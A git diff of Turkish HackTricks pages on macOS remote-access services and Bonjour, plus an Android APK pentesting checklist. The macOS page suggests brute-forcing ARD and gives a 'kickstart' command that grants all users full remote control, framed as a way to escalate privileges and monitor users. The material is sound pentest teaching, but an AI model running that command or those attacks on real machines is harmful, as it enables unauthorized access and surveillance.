<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# macOS Ağ Hizmetleri ve Protokolleri
# macOS Ağ Hizmetleri ve Protokoller
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Uzaktan Erişim Hizmetleri
Bunlar, uzaktan erişim için yaygın olarak kullanılan macOS hizmetleridir.\
Bu hizmetleri `Sistem Ayarları` --> `Paylaşım` bölümünde etkinleştirebilir/devre dışı bırakabilirsiniz.
Bunlar, macOS'ta uzaktan erişim için yaygın hizmetlerdir.\
Bu hizmetleri `Sistem Ayarları` --> `Paylaşım` bölümünden etkinleştirebilir/devre dışı bırakabilirsiniz.
* **VNC**, "Ekran Paylaşımı" olarak bilinir (tcp:5900)
* **SSH**, "Uzak Oturum Açma" olarak adlandırılır (tcp:22)
* **Apple Uzak Masaüstü** (ARD) veya "Uzak Yönetim" (tcp:3283, tcp:5900)
* **AppleEvent**, "Uzak Apple Etkinliği" olarak bilinir (tcp:3031)
* **VNC**, “Ekran Paylaşımı olarak bilinir (tcp:5900)
* **SSH**, “Uzaktan Giriş” olarak adlandırılır (tcp:22)
* **Apple Remote Desktop** (ARD), veya “Uzaktan Yönetim” (tcp:3283, tcp:5900)
* **AppleEvent**, “Uzaktan Apple Olayı olarak bilinir (tcp:3031)
Etkin olan birini kontrol etmek için çalıştırın:
Herhangi birinin etkin olup olmadığını kontrol etmek için:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -34,38 +35,36 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### ARD Pentesting
### Pentesting ARD
Apple Remote Desktop (ARD), macOS için özel olarak tasarlanmış [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 'in geliştirilmiş bir versiyonudur ve ek özellikler sunar. ARD'deki dikkate değer bir güvenlik açığı, kontrol ekranı parolası için kullanılan kimlik doğrulama yöntemidir. Bu yöntem sadece parolanın ilk 8 karakterini kullanır ve bu da [Hydra](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) veya [GoRedShell](https://github.com/ahhh/GoRedShell/) gibi araçlarla [brute force saldırılarına](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) karşı savunmasız hale getirir, çünkü varsayılan bir hız sınırlaması yoktur.
Apple Remote Desktop (ARD), macOS için özel olarak tasarlanmış [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 'nin geliştirilmiş bir versiyonudur ve ek özellikler sunar. ARD'deki dikkate değer bir zayıflık, kontrol ekranı şifresi için kimlik doğrulama yöntemidir; bu yöntem yalnızca şifrenin ilk 8 karakterini kullanır, bu da onu [brute force saldırılarına](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) karşı savunmasız hale getirir. Hydra veya [GoRedShell](https://github.com/ahhh/GoRedShell/) gibi araçlarla, varsayılan hız sınırlamaları olmadığı için bu durum söz konusudur.
Zayıf noktalara sahip olan örnekler, **nmap**'in `vnc-info` komutuyla tespit edilebilir. `VNC Authentication (2)`'yi destekleyen hizmetler, 8 karakterlik parola kırpılması nedeniyle brute force saldırılarına özellikle savunmasızdır.
Zayıf noktaları olan örnekler, **nmap**'in `vnc-info` betiği kullanılarak tanımlanabilir. `VNC Authentication (2)`'yi destekleyen hizmetler, 8 karakterli şifre kısaltması nedeniyle brute force saldırılarına özellikle açıktır.
Ayrıcalık yükseltme, GUI erişimi veya kullanıcı izleme gibi çeşitli yönetimsel görevler için ARD'yi etkinleştirmek için aşağıdaki komutu kullanın:
ARD'yi ayrıcalık yükseltme, GUI erişimi veya kullanıcı izleme gibi çeşitli yönetim görevleri için etkinleştirmek için aşağıdaki komutu kullanın:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
ARD, Gözlem, Paylaşılan Kontrol ve Tam Kontrol gibi çok yönlü kontrol seviyeleri sağlar ve kullanıcı şifre değişikliklerinden sonra bile oturumlar devam eder. Unix komutlarını doğrudan göndermeye olanak tanır ve yönetici kullanıcılar için root olarak çalıştırır. Görev zamanlama ve Uzaktan Spotlight arama, hassas dosyaların birden fazla makinede uzaktan, düşük etkili aramalarını kolaylaştıran dikkate değer özelliklerdir.
ARD, gözlem, paylaşılan kontrol ve tam kontrol dahil olmak üzere çok yönlü kontrol seviyeleri sağlar ve oturumlar kullanıcı şifre değişikliklerinden sonra bile devam eder. Yönetici kullanıcılar için kök olarak çalıştırarak doğrudan Unix komutları göndermeye olanak tanır. Görev zamanlama ve Uzaktan Spotlight araması, birden fazla makinede hassas dosyalar için uzaktan, düşük etkili aramalar yapmayı kolaylaştıran dikkate değer özelliklerdir.
## Bonjour Protokolü
Bonjour, Apple tarafından tasarlanan bir teknoloji olan **aynı ağdaki cihazların birbirlerinin sunulan hizmetlerini algılamasına** olanak sağlar. Rendezvous, Zero Configuration veya Zeroconf olarak da bilinen Bonjour, bir cihazın bir TCP/IP ağına katılmasını, **otomatik olarak bir IP adresi seçmesini** ve hizmetlerini diğer ağ cihazlarına yayınlamasını sağlar.
Apple tarafından tasarlanan Bonjour, **aynı ağdaki cihazların birbirlerinin sunduğu hizmetleri tespit etmesine olanak tanır**. Rendezvous, **Sıfır Konfigürasyon** veya Zeroconf olarak da bilinen bu teknoloji, bir cihazın bir TCP/IP ağına katılmasını, **otomatik olarak bir IP adresi seçmesini** ve hizmetlerini diğer ağ cihazlarına yayınlamasını sağlar.
Bonjour tarafından sağlanan Zero Configuration Networking, cihazların aşağıdaki işlemleri gerçekleştirmesini sağlar:
* Bir DHCP sunucusu olmadan bile **otomatik olarak bir IP adresi almak**.
* Bir DNS sunucusu gerektirmeden **adı-adrese çeviri** yapmak.
* Ağda mevcut olan **hizmetleri keşfetmek**.
Bonjour tarafından sağlanan Sıfır Konfigürasyon Ağı, cihazların:
* **Bir DHCP sunucusu yokken bile otomatik olarak bir IP adresi almasını** sağlar.
* **İsimden adrese çeviri** yapmasını, bir DNS sunucusuna ihtiyaç duymadan gerçekleştirir.
* Ağda mevcut olan **hizmetleri keşfetmesini** sağlar.
Bonjour kullanan cihazlar, kendilerine **169.254/16 aralığından bir IP adresi atar** ve bu adresin ağda benzersiz olduğunu doğrular. Mac'ler, bu alt ağ için bir yönlendirme tablosu girişi tutar ve `netstat -rn | grep 169` komutuyla doğrulanabilir.
Bonjour kullanan cihazlar, kendilerine **169.254/16 aralığından bir IP adresi atar** ve ağdaki benzersizliğini doğrular. Mac'ler, bu alt ağ için bir yönlendirme tablosu girişi tutar; bu, `netstat -rn | grep 169` komutuyla doğrulanabilir.
Bonjour, DNS için **Multicast DNS (mDNS) protokolünü** kullanır. mDNS, **5353/UDP bağlantı noktası** üzerinden çalışır ve **standart DNS sorgularını** kullanır, ancak **224.0.0.251 çoklu yayın adresine** yöneliktir. Bu yaklaşım, ağdaki tüm dinleyen cihazların sorguları almasını ve yanıtlamasını sağlar, böylece kayıtlarını güncellemeleri kolaylaşır.
DNS için Bonjour, **Multicast DNS (mDNS) protokolünü** kullanır. mDNS, **port 5353/UDP** üzerinden çalışır ve **standart DNS sorgularını** kullanarak **multicast adresi 224.0.0.251**'yi hedef alır. Bu yaklaşım, ağdaki tüm dinleyen cihazların sorguları almasını ve yanıt vermesini sağlar, böylece kayıtlarını güncelleyebilirler.
Ağa katıldığında, her cihaz kendiliğinden bir isim seçer, genellikle **.local** ile biten bir isim olur ve bu isim, ana bilgisayar adından veya rastgele oluşturulmuş olabilir.
Ağa katıldığında, her cihaz kendine genellikle **.local** ile biten bir isim seçer; bu isim, ana bilgisayardan türetilmiş veya rastgele oluşturulmuş olabilir.
Ağ içindeki hizmet keşfi, **DNS Service Discovery (DNS-SD)** tarafından kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmeti arayan bir istemci, `<Hizmet>.<Alan>` için bir PTR kaydı isteyecek ve birden fazla sunucudan hizmet mevcutsa, `<Örnek>.<Hizmet>.<Alan>` formatında bir PTR kayıt listesi alacaktır.
Ağ içindeki hizmet keşfi, **DNS Hizmet Keşfi (DNS-SD)** ile kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmet arayan bir istemci, `<Service>.<Domain>` için bir PTR kaydı talep eder ve eğer hizmet birden fazla ana bilgisayardan mevcutsa, `<Instance>.<Service>.<Domain>` formatında PTR kayıtları listesi alır.
**dns-sd** yardımcı programı, ağ hizmetlerini **keşfetmek ve reklam yapmak** için kullanılabilir. İşte kullanım örneklerinden bazıları:
`dns-sd` aracı, **ağ hizmetlerini keşfetmek ve tanıtmak için** kullanılabilir. İşte kullanımına dair bazı örnekler:
### SSH Hizmetlerini Arama
@ -73,25 +72,25 @@ Ağda SSH hizmetlerini aramak için aşağıdaki komut kullanılır:
```bash
dns-sd -B _ssh._tcp
```
Bu komut, _ssh._tcp hizmetlerini tarar ve zaman damgası, bayraklar, arayüz, alan adı, hizmet türü ve örnek adı gibi ayrıntıları çıktılar.
Bu komut, _ssh._tcp hizmetleri için tarama başlatır ve zaman damgası, bayraklar, arayüz, alan adı, hizmet türü ve örnek adı gibi ayrıntıları çıktılar.
### Bir HTTP Hizmeti Reklamı
### HTTP Hizmetini İlan Etme
Bir HTTP hizmeti reklamı yapmak için şunu kullanabilirsiniz:
Bir HTTP hizmetini ilan etmek için şunu kullanabilirsiniz:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
Bu komut, `/index.html` yolunda 80 numaralı bağlantı noktasında "Index" adında bir HTTP hizmeti kaydeder.
Bu komut, `/index.html` yolu ile port 80'de "Index" adında bir HTTP hizmeti kaydeder.
Ardından ağda HTTP hizmetlerini aramak için:
Daha sonra ağda HTTP hizmetlerini aramak için:
```bash
dns-sd -B _http._tcp
```
Bir hizmet başladığında, varlığını çoklu yayın yaparak alt ağdaki tüm cihazlara duyurur. Bu hizmetlere ilgi duyan cihazlar, istek göndermek yerine sadece bu duyuruları dinleyerek hizmetleri bulabilir.
Bir hizmet başladığında, varlığını alt ağdaki tüm cihazlara çoklu yayın yaparak duyurur. Bu hizmetlerle ilgilenen cihazların istek göndermesine gerek yoktur; sadece bu duyuruları dinlemeleri yeterlidir.
Daha kullanıcı dostu bir arayüz için, Apple App Store'da bulunan **Discovery - DNS-SD Browser** uygulaması yerel ağınızda sunulan hizmetleri görselleştirebilir.
Daha kullanıcı dostu bir arayüz için, Apple App Store'da bulunan **Discovery - DNS-SD Browser** uygulaması, yerel ağınızdaki sunulan hizmetleri görselleştirebilir.
Alternatif olarak, `python-zeroconf` kütüphanesini kullanarak hizmetleri taramak ve bulmak için özel betikler yazılabilir. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) betiği, `_http._tcp.local.` hizmetleri için bir hizmet tarayıcısı oluşturmayı ve eklenen veya kaldırılan hizmetleri yazdırmayı göstermektedir:
Alternatif olarak, `python-zeroconf` kütüphanesini kullanarak hizmetleri taramak ve keşfetmek için özel betikler yazılabilir. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) betiği, `_http._tcp.local.` hizmetleri için bir hizmet tarayıcısı oluşturmayı ve eklenen veya kaldırılan hizmetleri yazdırmayı göstermektedir:
```python
from zeroconf import ServiceBrowser, Zeroconf
@ -112,8 +111,8 @@ input("Press enter to exit...\n\n")
finally:
zeroconf.close()
```
### Bonjour Devre Dışı Bırakma
Eğer güvenlikle ilgili endişeler varsa veya Bonjour'u devre dışı bırakmak için başka nedenler varsa, aşağıdaki komut kullanılarak devre dışı bırakılabilir:
### Bonjour'u Devre Dışı Bırakma
Eğer güvenlik endişeleri veya Bonjour'u devre dışı bırakmak için başka nedenler varsa, aşağıdaki komut kullanılarak kapatılabilir:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
@ -123,16 +122,17 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

File diff suppressed because one or more lines are too long

View file

@ -1,18 +1,21 @@
# Android APK Kontrol Listesi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) katkıda bulunun**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,75 +23,78 @@
***
### [Android temellerini öğrenin](android-app-pentesting/#2-android-application-fundamentals)
### [Android Temellerini Öğrenin](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Temeller](android-app-pentesting/#fundamentals-review)
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
* [ ] [Giriş noktaları](android-app-pentesting/#application-entry-points)
* [ ] [Aktiviteler](android-app-pentesting/#launcher-activity)
* [ ] [URL Şemaları](android-app-pentesting/#url-schemes)
* [ ] [İçerik Sağlayıcılar](android-app-pentesting/#services)
* [ ] [Hizmetler](android-app-pentesting/#services-1)
* [ ] [Yayın Alıcıları](android-app-pentesting/#broadcast-receivers)
* [ ] [Amaçlar](android-app-pentesting/#intents)
* [ ] [Amaç Filtresi](android-app-pentesting/#intent-filter)
* [ ] [İçerik Sağlayıcıları](android-app-pentesting/#services)
* [ ] [Servisler](android-app-pentesting/#services-1)
* [ ] [Yayıncı Alıcıları](android-app-pentesting/#broadcast-receivers)
* [ ] [Niyetler](android-app-pentesting/#intents)
* [ ] [Niyet Filtreleri](android-app-pentesting/#intent-filter)
* [ ] [Diğer bileşenler](android-app-pentesting/#other-app-components)
* [ ] [ADB nasıl kullanılır](android-app-pentesting/#adb-android-debug-bridge)
* [ ] [Smali nasıl değiştirilir](android-app-pentesting/#smali)
### [Statik Analiz](android-app-pentesting/#static-analysis)
* [ ] [Obfuskasyon](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımını kontrol edin, mobilin root edilip edilmediğini, bir emülatörün kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. [Daha fazla bilgi için buraya bakın](android-app-pentesting/#other-checks).
* [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root edilip edilmediğini kontrol etmeli ve buna göre hareket etmelidir.
* [ ] [İlginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API'ler, şifreleme, arka kapılar, belirteçler, Bluetooth uuid'leri...).
* [ ] [Firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat.
* [ ] [Manifest dosyasını okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "sömürmeye" çalışın
* [ ] APK'nin yedeklemelere izin verip vermediğini kontrol edin
* [ ] Dışa aktarılan Aktiviteler
* [ ] İçerik Sağlayıcılar
* [ ] [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımı kontrol edin, mobilin root'lanıp root'lanmadığını, bir emülatör kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. [Daha fazla bilgi için bunu okuyun](android-app-pentesting/#other-checks).
* [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root'lanıp root'lanmadığını kontrol etmeli ve buna göre hareket etmelidir.
* [ ] [ilginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API, şifreleme, arka kapılar, tokenlar, Bluetooth uuid'leri...).
* [ ] [firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat.
* [ ] [Manifesti okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] Uygulamanın debug modunda olup olmadığını kontrol edin ve "istismar" etmeye çalışın.
* [ ] APK'nın yedeklemelere izin verip vermediğini kontrol edin.
* [ ] Dışa Aktarılan Aktiviteler
* [ ] İçerik Sağlayıcıları
* [ ] Açık hizmetler
* [ ] Yayın Alıcıları
* [ ] Yayıncı Alıcıları
* [ ] URL Şemaları
* [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediğini kontrol edin (android-app-pentesting/#insecure-data-storage)?
* [ ] Diskte sabitlenmiş veya sabitlenmiş bir şifre var mı (android-app-pentesting/#poorkeymanagementprocesses)? Uygulama güvensiz şifreleme algoritmaları kullanıyor mu (android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Tüm kütüphaneler PIE bayrağı kullanılarak derlendi mi?
* [ ] Unutmayın, bu aşamada size çok yardımcı olabilecek birçok [statik Android Analiz Araçları](android-app-pentesting/#automatic-analysis) bulunmaktadır.
* [ ] Uygulama [verileri güvensiz bir şekilde iç veya dışa kaydediyor mu](android-app-pentesting/#insecure-data-storage)?
* [ ] [diskte sabit kodlanmış veya kaydedilmiş bir şifre var mı](android-app-pentesting/#poorkeymanagementprocesses)? Uygulama [güvensiz şifreleme algoritmaları mı kullanıyor](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Tüm kütüphaneler PIE bayrağı kullanılarak mı derlendi?
* [ ] Bu aşamada size çok yardımcı olabilecek bir dizi [statik Android Analizörü](android-app-pentesting/#automatic-analysis) olduğunu unutmayın.
### [Dinamik Analiz](android-app-pentesting/#dynamic-analysis)
* [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis))
* [ ] [İstenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyalama/yapıştırma, çökme günlükleri)?
* [ ] SQLite veritabanlarında [gizli bilgilerin kaydedilmesi](android-app-pentesting/#sqlite-dbs)?
* [ ] [Sömürülebilir açık Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Sömürülebilir İçerik Sağlayıcılar](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Sömürülebilir açık Hizmetler](android-app-pentesting/#exploiting-services)?
* [ ] [Sömürülebilir Yayın Alıcıları](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Uygulama [ık metin/ zayıf algoritmalar kullanarak bilgi iletiyor mu](android-app-pentesting/#insufficient-transport-layer-protection)? MitM mümkün mü?
* [ ] HTTP/HTTPS trafiğini inceleyin (android-app-pentesting/#inspecting-http-traffic)
* [ ] Bu gerçekten önemlidir, çünkü HTTP trafiği yakalayabilirseniz, yaygın Web zafiyetlerini arayabilirsiniz (Hacktricks'te Web zafiyetleri hakkında çok bilgi bulunmaktadır).
* [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) için kontrol edin (muhtemelen burada bazı statik kod analizi yardımcı olacaktır)
* [ ] Herhangi bir [istenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (loglama, kopyala/yapıştır, çökme logları)?
* [ ] [Gizli bilgilerin SQLite veritabanlarında kaydedilmesi](android-app-pentesting/#sqlite-dbs)?
* [ ] [İstismar edilebilir dışa aktarılan Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [İstismar edilebilir İçerik Sağlayıcıları](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [İstismar edilebilir açık Servisler](android-app-pentesting/#exploiting-services)?
* [ ] [İstismar edilebilir Yayıncı Alıcıları](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Uygulama [bilgileri düz metin olarak iletiyor mu/zayıf algoritmalar mı kullanıyor](android-app-pentesting/#insufficient-transport-layer-protection)? Bir MitM mümkün mü?
* [ ] [HTTP/HTTPS trafiğini inceleyin](android-app-pentesting/#inspecting-http-traffic)
* [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web güvenlik açıklarını arayabilirsiniz (Hacktricks'in Web güvenlik açıkları hakkında çok fazla bilgisi var).
* [ ] Olası [Android İstemci Tarafı Enjeksiyonlarını](android-app-pentesting/#android-client-side-injections-and-others) kontrol edin (muhtemelen bazı statik kod analizi burada yardımcı olacaktır).
* [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...)
### Bazı obfuscation/Deobfuscation bilgileri
* [ ] [Buradan okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
* [ ] [Burayı okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
